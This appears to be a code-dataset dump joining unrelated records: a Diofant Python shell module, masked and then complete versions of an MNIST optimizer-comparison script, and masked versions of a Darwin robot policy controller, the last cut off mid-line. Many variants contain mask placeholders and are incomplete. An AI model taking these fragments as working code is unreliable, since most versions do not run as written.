""" Python shell for Diofant. This is just a normal Python shell (IPython shell if you have the IPython package installed), that adds default imports and run some initialization code. """ import argparse import ast import atexit import code import os import readline import rlcompleter from diofant.interactive.session import (AutomaticSymbols, IntegerDivisionWrapper, unicode_identifiers) __all__ = () parser = argparse.ArgumentParser(description=__doc__, prog='python -m diofant') parser.add_argument('--no-wrap-division', help="Don't wrap integer divisions with Fraction", action='store_true') parser.add_argument('-a', '--auto-symbols', help="Automatically create missing Symbol's", action='store_true') parser.add_argument('--no-ipython', help="Don't use IPython", action='store_true') parser.add_argument('--unicode-identifiers', help='Allow any unicode identifiers', action='store_true') def main(): args, ipython_args = parser.parse_known_args() lines = ['from diofant import *', 'init_printing()', "a, b, c, d, t, x, y, z = symbols('a:d t x:z')", "k, m, n = symbols('k m n', integer=True)", "f, g, h = symbols('f g h', cls=Function)", 'init_printing(pretty_print=True, use_unicode=True)'] try: import IPython import traitlets except ImportError: args.no_ipython = True if not args.no_ipython: config = traitlets.config.loader.Config() shell = config.InteractiveShell ast_transformers = shell.ast_transformers if not args.no_wrap_division: ast_transformers.append(IntegerDivisionWrapper()) shell.confirm_exit = False config.TerminalIPythonApp.display_banner = False config.TerminalInteractiveShell.autoformatter = None app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config) app.initialize(ipython_args) shell = app.shell for l in lines: shell.run_cell(l, silent=True) if args.auto_symbols: shell.run_cell('from diofant.interactive.session import AutomaticSymbols') shell.run_cell('ip = get_ipython()') shell.run_cell('ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))') shell.run_cell('del ip') if args.unicode_identifiers: shell.run_cell('from diofant.interactive.session import unicode_identifiers') shell.run_cell('ip = get_ipython()') shell.run_cell('ip.input_transformers_cleanup.append(unicode_identifiers)') shell.run_cell('del ip') app.start() else: ast_transformers = [] source_transformers = [] ns = {} if not args.no_wrap_division: ast_transformers.append(IntegerDivisionWrapper()) if args.auto_symbols: ast_transformers.append(AutomaticSymbols(ns)) if args.unicode_identifiers: source_transformers.append(unicode_identifiers) class DiofantConsole(code.InteractiveConsole): """An interactive console with readline support.""" def __init__(self, ast_transformers=[], source_transformers=[], **kwargs): super().__init__(**kwargs) readline.set_completer(rlcompleter.Completer(ns).complete) readline.parse_and_bind('tab: complete') history = os.path.expanduser('~/.python_history') readline.read_history_file(history) atexit.register(readline.write_history_file, history) self.ast_transformers = ast_transformers self.source_transformers = source_transformers def runsource(self, source, filename='<input>', symbol='single'): for t in self.source_transformers: source = '\n'.join(t(source.splitlines())) try: tree = ast.parse(source) except SyntaxError: return True for t in self.ast_transformers: tree = t.visit(tree) ast.fix_missing_locations(tree) source = ast.unparse(tree) source = source.split('\n') source = ';'.join(source) return super().runsource(source, filename=filename, symbol=symbol) c = DiofantConsole(ast_transformers=ast_transformers, source_transformers=source_transformers, locals=ns) for l in lines: c.push(l) c.interact('', '') if __name__ == '__main__': # pragma: no branch main()
[ 1, 2, 3, 4, 5 ]
9,944
85d40a49341c7bd7af7a5dc62e4bce0253eb25e6
<mask token>
<mask token> sys.path.append(os.pardir) <mask token> for key in optimizers.keys(): networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100, 100, 100, 100], output_size=10) train_loss[key] = [] for i in range(max_iterations): batch_mask = np.random.choice(train_size, batch_size) x_batch = x_train[batch_mask] t_batch = t_train[batch_mask] for key in optimizers.keys(): grads = networks[key].gradient(x_batch, t_batch) optimizers[key].update(networks[key].params, grads) loss = networks[key].loss(x_batch, t_batch) train_loss[key].append(loss) if i % 100 == 0: print('===========' + 'iteration:' + str(i) + '===========') for key in optimizers.keys(): loss = networks[key].loss(x_batch, t_batch) print(key + ':' + str(loss)) <mask token> for key in optimizers.keys(): plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key], markevery=100, label=key) plt.xlabel('iterations') plt.ylabel('loss') plt.ylim(0, 1) plt.legend() plt.show()
<mask token> sys.path.append(os.pardir) <mask token> (x_train, t_train), (x_test, t_test) = load_mnist(normalize=True) train_size = x_train.shape[0] batch_size = 128 max_iterations = 2000 optimizers = {} optimizers['SGD'] = SGD() optimizers['Momentum'] = Momentum() optimizers['AdaGrad'] = AdaGrad() optimizers['Adam'] = Adam() networks = {} train_loss = {} for key in optimizers.keys(): networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100, 100, 100, 100], output_size=10) train_loss[key] = [] for i in range(max_iterations): batch_mask = np.random.choice(train_size, batch_size) x_batch = x_train[batch_mask] t_batch = t_train[batch_mask] for key in optimizers.keys(): grads = networks[key].gradient(x_batch, t_batch) optimizers[key].update(networks[key].params, grads) loss = networks[key].loss(x_batch, t_batch) train_loss[key].append(loss) if i % 100 == 0: print('===========' + 'iteration:' + str(i) + '===========') for key in optimizers.keys(): loss = networks[key].loss(x_batch, t_batch) print(key + ':' + str(loss)) markers = {'SGD': 'o', 'Momentum': 'x', 'AdaGrad': 's', 'Adam': 'D'} x = np.arange(max_iterations) for key in optimizers.keys(): plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key], markevery=100, label=key) plt.xlabel('iterations') plt.ylabel('loss') plt.ylim(0, 1) plt.legend() plt.show()
import sys, os sys.path.append(os.pardir) import matplotlib.pyplot as plt from dataset.mnist import load_mnist from common.util import smooth_curve from common.multi_layer_net import MultiLayerNet from common.optimizer import * (x_train, t_train), (x_test, t_test) = load_mnist(normalize=True) train_size = x_train.shape[0] batch_size = 128 max_iterations = 2000 optimizers = {} optimizers['SGD'] = SGD() optimizers['Momentum'] = Momentum() optimizers['AdaGrad'] = AdaGrad() optimizers['Adam'] = Adam() networks = {} train_loss = {} for key in optimizers.keys(): networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100, 100, 100, 100], output_size=10) train_loss[key] = [] for i in range(max_iterations): batch_mask = np.random.choice(train_size, batch_size) x_batch = x_train[batch_mask] t_batch = t_train[batch_mask] for key in optimizers.keys(): grads = networks[key].gradient(x_batch, t_batch) optimizers[key].update(networks[key].params, grads) loss = networks[key].loss(x_batch, t_batch) train_loss[key].append(loss) if i % 100 == 0: print('===========' + 'iteration:' + str(i) + '===========') for key in optimizers.keys(): loss = networks[key].loss(x_batch, t_batch) print(key + ':' + str(loss)) markers = {'SGD': 'o', 'Momentum': 'x', 'AdaGrad': 's', 'Adam': 'D'} x = np.arange(max_iterations) for key in optimizers.keys(): plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key], markevery=100, label=key) plt.xlabel('iterations') plt.ylabel('loss') plt.ylim(0, 1) plt.legend() plt.show()
# coding: utf-8 import sys, os sys.path.append(os.pardir) import matplotlib.pyplot as plt from dataset.mnist import load_mnist from common.util import smooth_curve from common.multi_layer_net import MultiLayerNet from common.optimizer import * # 0. MNIST 데이터 로딩 (x_train, t_train), (x_test, t_test) = load_mnist(normalize=True) train_size = x_train.shape[0] batch_size = 128 max_iterations = 2000 # 1. 실험용 설정 셋팅 optimizers = {} optimizers['SGD'] = SGD() optimizers['Momentum'] = Momentum() optimizers['AdaGrad'] = AdaGrad() optimizers['Adam'] = Adam() #network, loss를 저장할 dictionary를 설정 networks = {} train_loss = {} #각 optimizer마다 network를 MultiLayerNet을 이용해서 똑같은 구조로 만들고, train_loss 딕셔너리를 초기화 한다. for key in optimizers.keys(): networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100, 100, 100, 100], output_size=10) train_loss[key] = [] # 2. 훈련 시작 for i in range(max_iterations): #4개의 최적화 기법에 똑같이 들어갈 batch 생성 batch_mask = np.random.choice(train_size, batch_size) x_batch = x_train[batch_mask] t_batch = t_train[batch_mask] for key in optimizers.keys(): grads = networks[key].gradient(x_batch, t_batch) #배치를 넣어서 각 네트워크의 기울기를 구함 optimizers[key].update(networks[key].params, grads) #네트워크의 parameter를 기울기에 대해 update함 loss = networks[key].loss(x_batch, t_batch) #사실 이것이 먼저 계산되어야 하지만, 이 코드에서는 기록용으로 저장 train_loss[key].append(loss) #각 최적화 기법의 학습 loss 리스트에 저장 #학습 진행 경과 및 각 최적화 기법에 해당하는 loss 확인 if i % 100 == 0: print("===========" + "iteration:" + str(i) + "===========") for key in optimizers.keys(): loss = networks[key].loss(x_batch, t_batch) print(key + ':' + str(loss)) # 3. 그래프 그리기 markers = {"SGD": "o", "Momentum": "x", "AdaGrad": "s", "Adam": "D"} x = np.arange(max_iterations) for key in optimizers.keys(): plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key], markevery=100, label=key) plt.xlabel("iterations") plt.ylabel("loss") plt.ylim(0, 1) plt.legend() plt.show()
[ 0, 1, 2, 3, 4 ]
9,945
97c5b75323bb143c87972b389e2f27e443c1e00c
<mask token> class NP_Net: <mask token> <mask token> <mask token> class NP_Net_MirrorSym: def __init__(self, nvec=None, observation_permutation=None, action_permutation=None): self.obrms_mean = None self.obrms_std = None self.nn_params = [] self.nvec = nvec obs_perm_mat = np.zeros((len(observation_permutation), len( observation_permutation)), dtype=np.float32) self.obs_perm_mat = obs_perm_mat for i, perm in enumerate(observation_permutation): obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm) if nvec is None: act_perm_mat = np.zeros((len(action_permutation), len( action_permutation)), dtype=np.float32) self.act_perm_mat = act_perm_mat for i, perm in enumerate(action_permutation): self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm) else: total_dim = int(np.sum(nvec)) dim_index = np.concatenate([[0], np.cumsum(nvec)]) act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32) self.act_perm_mat = act_perm_mat for i, perm in enumerate(action_permutation): perm_mat = np.identity(nvec[i]) if np.sign(perm) < 0: perm_mat = np.flipud(perm_mat) self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i], dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm) )] + nvec[int(np.abs(perm))]] = perm_mat def load_from_file(self, fname): params = joblib.load(fname) pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')] obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0'] obrms_count = params[pol_scope + '/obfilter/count:0'] obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0'] self.obrms_mean = obrms_runningsum / obrms_count self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - self.obrms_mean ** 2, 0.01, 1000000)) for i in range(10): if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params: W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0'] b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0'] self.nn_params.append([W, b]) W_final = params[pol_scope + '/pol_net/genff_out/w:0'] b_final = params[pol_scope + '/pol_net/genff_out/b:0'] self.nn_params.append([W_final, b_final]) def get_output(self, input, activation=np.tanh): assert self.obrms_mean is not None last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1]) out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1] mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self. obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): mirrorlast_out = activation(np.dot(self.nn_params[i][0].T, mirrorlast_out) + self.nn_params[i][1]) mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) + self.nn_params[-1][1], self.act_perm_mat) if self.nvec is None: return out + mirrorout else: splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1] ) discrete_out = np.array([np.argmax(prob) for prob in splitted_out]) return discrete_out class NP_Policy: def __init__(self, interp_sch, param_file, discrete_action, action_bins, delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None): self.interp_sch = interp_sch self.obs_cache = [] self.action_cache = [] self.action_filter_size = action_filter_size if interp_sch is not None: self.net = NP_Net() else: self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm) self.net.load_from_file(param_file) self.discrete_action = discrete_action self.delta_angle_scale = delta_angle_scale if discrete_action: self.net.nvec = action_bins def get_initial_state(self): if self.interp_sch is not None: return self.interp_sch[0][1] else: return 0.5 * (pose_squat + pose_stand) def reset(self): self.action_cache = [] def act(self, o, t): new_action = self.net.get_output(o) if self.discrete_action: new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0 self.action_cache.append(new_action) if len(self.action_cache) > self.action_filter_size: self.action_cache.pop(0) filtered_action = np.mean(self.action_cache, axis=0) clamped_control = np.clip(filtered_action, -1, 1) if self.interp_sch is not None: self.ref_target = self.interp_sch[0][1] for i in range(len(self.interp_sch) - 1): if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0 ]: ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[ i + 1][0] - self.interp_sch[i][0]) self.ref_target = ratio * self.interp_sch[i + 1][1] + ( 1 - ratio) * self.interp_sch[i][1] if t > self.interp_sch[-1][0]: self.ref_target = self.interp_sch[-1][1] target_pose = (self.ref_target + clamped_control * self. delta_angle_scale) else: target_pose = (clamped_control + 1.0) / 2.0 * ( SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD ) + SIM_CONTROL_LOW_BOUND_RAD target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD, SIM_JOINT_UP_BOUND_RAD) return target_pose <mask token>
<mask token> class NP_Net: def __init__(self, nvec=None): self.obrms_mean = None self.obrms_std = None self.nn_params = [] self.nvec = nvec def load_from_file(self, fname): params = joblib.load(fname) pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')] obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0'] obrms_count = params[pol_scope + '/obfilter/count:0'] obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0'] self.obrms_mean = obrms_runningsum / obrms_count self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - self.obrms_mean ** 2, 0.01, 1000000)) for i in range(10): if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params: W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0'] b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0'] self.nn_params.append([W, b]) W_final = params[pol_scope + '/pol/final/kernel:0'] b_final = params[pol_scope + '/pol/final/bias:0'] self.nn_params.append([W_final, b_final]) def get_output(self, input, activation=np.tanh): assert self.obrms_mean is not None last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1]) out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1] if self.nvec is None: return out else: splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1]) discrete_out = np.array([np.argmax(prob) for prob in splitted_out]) return discrete_out class NP_Net_MirrorSym: def __init__(self, nvec=None, observation_permutation=None, action_permutation=None): self.obrms_mean = None self.obrms_std = None self.nn_params = [] self.nvec = nvec obs_perm_mat = np.zeros((len(observation_permutation), len( observation_permutation)), dtype=np.float32) self.obs_perm_mat = obs_perm_mat for i, perm in enumerate(observation_permutation): obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm) if nvec is None: act_perm_mat = np.zeros((len(action_permutation), len( action_permutation)), dtype=np.float32) self.act_perm_mat = act_perm_mat for i, perm in enumerate(action_permutation): self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm) else: total_dim = int(np.sum(nvec)) dim_index = np.concatenate([[0], np.cumsum(nvec)]) act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32) self.act_perm_mat = act_perm_mat for i, perm in enumerate(action_permutation): perm_mat = np.identity(nvec[i]) if np.sign(perm) < 0: perm_mat = np.flipud(perm_mat) self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i], dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm) )] + nvec[int(np.abs(perm))]] = perm_mat def load_from_file(self, fname): params = joblib.load(fname) pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')] obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0'] obrms_count = params[pol_scope + '/obfilter/count:0'] obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0'] self.obrms_mean = obrms_runningsum / obrms_count self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - self.obrms_mean ** 2, 0.01, 1000000)) for i in range(10): if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params: W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0'] b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0'] self.nn_params.append([W, b]) W_final = params[pol_scope + '/pol_net/genff_out/w:0'] b_final = params[pol_scope + '/pol_net/genff_out/b:0'] self.nn_params.append([W_final, b_final]) def get_output(self, input, activation=np.tanh): assert self.obrms_mean is not None last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1]) out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1] mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self. obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): mirrorlast_out = activation(np.dot(self.nn_params[i][0].T, mirrorlast_out) + self.nn_params[i][1]) mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) + self.nn_params[-1][1], self.act_perm_mat) if self.nvec is None: return out + mirrorout else: splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1] ) discrete_out = np.array([np.argmax(prob) for prob in splitted_out]) return discrete_out class NP_Policy: def __init__(self, interp_sch, param_file, discrete_action, action_bins, delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None): self.interp_sch = interp_sch self.obs_cache = [] self.action_cache = [] self.action_filter_size = action_filter_size if interp_sch is not None: self.net = NP_Net() else: self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm) self.net.load_from_file(param_file) self.discrete_action = discrete_action self.delta_angle_scale = delta_angle_scale if discrete_action: self.net.nvec = action_bins def get_initial_state(self): if self.interp_sch is not None: return self.interp_sch[0][1] else: return 0.5 * (pose_squat + pose_stand) def reset(self): self.action_cache = [] def act(self, o, t): new_action = self.net.get_output(o) if self.discrete_action: new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0 self.action_cache.append(new_action) if len(self.action_cache) > self.action_filter_size: self.action_cache.pop(0) filtered_action = np.mean(self.action_cache, axis=0) clamped_control = np.clip(filtered_action, -1, 1) if self.interp_sch is not None: self.ref_target = self.interp_sch[0][1] for i in range(len(self.interp_sch) - 1): if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0 ]: ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[ i + 1][0] - self.interp_sch[i][0]) self.ref_target = ratio * self.interp_sch[i + 1][1] + ( 1 - ratio) * self.interp_sch[i][1] if t > self.interp_sch[-1][0]: self.ref_target = self.interp_sch[-1][1] target_pose = (self.ref_target + clamped_control * self. delta_angle_scale) else: target_pose = (clamped_control + 1.0) / 2.0 * ( SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD ) + SIM_CONTROL_LOW_BOUND_RAD target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD, SIM_JOINT_UP_BOUND_RAD) return target_pose <mask token>
<mask token> class NP_Net: def __init__(self, nvec=None): self.obrms_mean = None self.obrms_std = None self.nn_params = [] self.nvec = nvec def load_from_file(self, fname): params = joblib.load(fname) pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')] obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0'] obrms_count = params[pol_scope + '/obfilter/count:0'] obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0'] self.obrms_mean = obrms_runningsum / obrms_count self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - self.obrms_mean ** 2, 0.01, 1000000)) for i in range(10): if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params: W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0'] b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0'] self.nn_params.append([W, b]) W_final = params[pol_scope + '/pol/final/kernel:0'] b_final = params[pol_scope + '/pol/final/bias:0'] self.nn_params.append([W_final, b_final]) def get_output(self, input, activation=np.tanh): assert self.obrms_mean is not None last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1]) out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1] if self.nvec is None: return out else: splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1]) discrete_out = np.array([np.argmax(prob) for prob in splitted_out]) return discrete_out class NP_Net_MirrorSym: def __init__(self, nvec=None, observation_permutation=None, action_permutation=None): self.obrms_mean = None self.obrms_std = None self.nn_params = [] self.nvec = nvec obs_perm_mat = np.zeros((len(observation_permutation), len( observation_permutation)), dtype=np.float32) self.obs_perm_mat = obs_perm_mat for i, perm in enumerate(observation_permutation): obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm) if nvec is None: act_perm_mat = np.zeros((len(action_permutation), len( action_permutation)), dtype=np.float32) self.act_perm_mat = act_perm_mat for i, perm in enumerate(action_permutation): self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm) else: total_dim = int(np.sum(nvec)) dim_index = np.concatenate([[0], np.cumsum(nvec)]) act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32) self.act_perm_mat = act_perm_mat for i, perm in enumerate(action_permutation): perm_mat = np.identity(nvec[i]) if np.sign(perm) < 0: perm_mat = np.flipud(perm_mat) self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i], dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm) )] + nvec[int(np.abs(perm))]] = perm_mat def load_from_file(self, fname): params = joblib.load(fname) pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')] obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0'] obrms_count = params[pol_scope + '/obfilter/count:0'] obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0'] self.obrms_mean = obrms_runningsum / obrms_count self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - self.obrms_mean ** 2, 0.01, 1000000)) for i in range(10): if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params: W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0'] b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0'] self.nn_params.append([W, b]) W_final = params[pol_scope + '/pol_net/genff_out/w:0'] b_final = params[pol_scope + '/pol_net/genff_out/b:0'] self.nn_params.append([W_final, b_final]) def get_output(self, input, activation=np.tanh): assert self.obrms_mean is not None last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1]) out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1] mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self. obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): mirrorlast_out = activation(np.dot(self.nn_params[i][0].T, mirrorlast_out) + self.nn_params[i][1]) mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) + self.nn_params[-1][1], self.act_perm_mat) if self.nvec is None: return out + mirrorout else: splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1] ) discrete_out = np.array([np.argmax(prob) for prob in splitted_out]) return discrete_out class NP_Policy: def __init__(self, interp_sch, param_file, discrete_action, action_bins, delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None): self.interp_sch = interp_sch self.obs_cache = [] self.action_cache = [] self.action_filter_size = action_filter_size if interp_sch is not None: self.net = NP_Net() else: self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm) self.net.load_from_file(param_file) self.discrete_action = discrete_action self.delta_angle_scale = delta_angle_scale if discrete_action: self.net.nvec = action_bins def get_initial_state(self): if self.interp_sch is not None: return self.interp_sch[0][1] else: return 0.5 * (pose_squat + pose_stand) def reset(self): self.action_cache = [] def act(self, o, t): new_action = self.net.get_output(o) if self.discrete_action: new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0 self.action_cache.append(new_action) if len(self.action_cache) > self.action_filter_size: self.action_cache.pop(0) filtered_action = np.mean(self.action_cache, axis=0) clamped_control = np.clip(filtered_action, -1, 1) if self.interp_sch is not None: self.ref_target = self.interp_sch[0][1] for i in range(len(self.interp_sch) - 1): if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0 ]: ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[ i + 1][0] - self.interp_sch[i][0]) self.ref_target = ratio * self.interp_sch[i + 1][1] + ( 1 - ratio) * self.interp_sch[i][1] if t > self.interp_sch[-1][0]: self.ref_target = self.interp_sch[-1][1] target_pose = (self.ref_target + clamped_control * self. delta_angle_scale) else: target_pose = (clamped_control + 1.0) / 2.0 * ( SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD ) + SIM_CONTROL_LOW_BOUND_RAD target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD, SIM_JOINT_UP_BOUND_RAD) return target_pose def toRobot(positions): index = [3, 0, 4, 1, 5, 2, 14, 8, 15, 9, 16, 10, 17, 11, 18, 12, 19, 13, 6, 7] robotState = np.zeros(len(positions)) for i in range(len(positions)): robotState[i] = int(positions[i] * 180 * (1 / (np.pi * 0.088))) + 2048 return robotState[index].astype(int) if __name__ == '__main__': import pydart2 as pydart import gym env = gym.make('DartDarwinSquat-v1') env.reset() dart_world = env.env.dart_world class Controller(object): def __init__(self, world, policy): self.world = world self.target = None self.kp = np.array([2.1, 1.79, 4.93, 2.0, 2.02, 1.98, 2.2, 2.06, 148, 152, 150, 136, 153, 102, 151, 151.4, 150.45, 151.36, 154, 105.2]) self.kd = np.array([0.21, 0.23, 0.22, 0.25, 0.21, 0.26, 0.28, 0.213, 0.192, 0.198, 0.22, 0.199, 0.02, 0.01, 0.53, 0.27, 0.21, 0.205, 0.022, 0.056]) self.step = 0 self.frameskip = 25 self.fulltau = np.zeros(26) self.np_policy = policy self.target_sim_cache = [] self.target_hw_cache = [] def compute(self): if self.step % self.frameskip == 0: o = np.concatenate([self.world.skeletons[-1].q[6:], self. world.skeletons[-1].dq[6:]]) self.target = self.np_policy.act(o, self.world.time()) self.target_hw_cache.append(toRobot(self.target)) self.target_sim_cache.append(RADIAN2VAL(self.target)) np.savetxt('darwin/feedforward_target_simindex.txt', np. array(self.target_sim_cache, dtype=np.int)) np.savetxt('darwin/feedforward_target_hwindex.txt', np. array(self.target_hw_cache, dtype=np.int)) tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target ) - self.kd * self.world.skeletons[-1].dq[6:] self.fulltau = np.concatenate([np.zeros(6), tau]) self.step += 1 return np.clip(self.fulltau, -3.5, 3.5) for i in range(6, dart_world.skeletons[-1].ndofs): j = dart_world.skeletons[-1].dof(i) j.set_damping_coefficient(0.515) dart_world.set_gravity([0, 0, -9.81]) dart_world.skeletons[1].set_mobile(False) dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100 dart_world.set_collision_detector(0) dart_world.skeletons[-1].set_self_collision_check(False) dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0) for bn in dart_world.skeletons[-1].bodynodes: bn.set_friction_coeff(5.0) pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376, 2047, 2171, 2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448, 2855, 2073]) pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048]) pose_squat = VAL2RADIAN(pose_squat_val) pose_stand = VAL2RADIAN(pose_stand_val) interp_sch = [[0.0, pose_squat], [3.0, pose_stand], [4.0, pose_stand]] policy = NP_Policy(interp_sch, 'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl', discrete_action=True, action_bins=np.array([11] * 20), delta_angle_scale=0.3) controller = Controller(dart_world, policy) dart_world.skeletons[-1].set_controller(controller) print('create controller OK') pydart.gui.viewer.launch(dart_world, default_camera=1)
import joblib import numpy as np from darwin.darwin_utils import * class NP_Net: def __init__(self, nvec=None): self.obrms_mean = None self.obrms_std = None self.nn_params = [] self.nvec = nvec def load_from_file(self, fname): params = joblib.load(fname) pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')] obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0'] obrms_count = params[pol_scope + '/obfilter/count:0'] obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0'] self.obrms_mean = obrms_runningsum / obrms_count self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - self.obrms_mean ** 2, 0.01, 1000000)) for i in range(10): if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params: W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0'] b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0'] self.nn_params.append([W, b]) W_final = params[pol_scope + '/pol/final/kernel:0'] b_final = params[pol_scope + '/pol/final/bias:0'] self.nn_params.append([W_final, b_final]) def get_output(self, input, activation=np.tanh): assert self.obrms_mean is not None last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1]) out = np.dot(self.nn_params[-1][0].T, last_out) 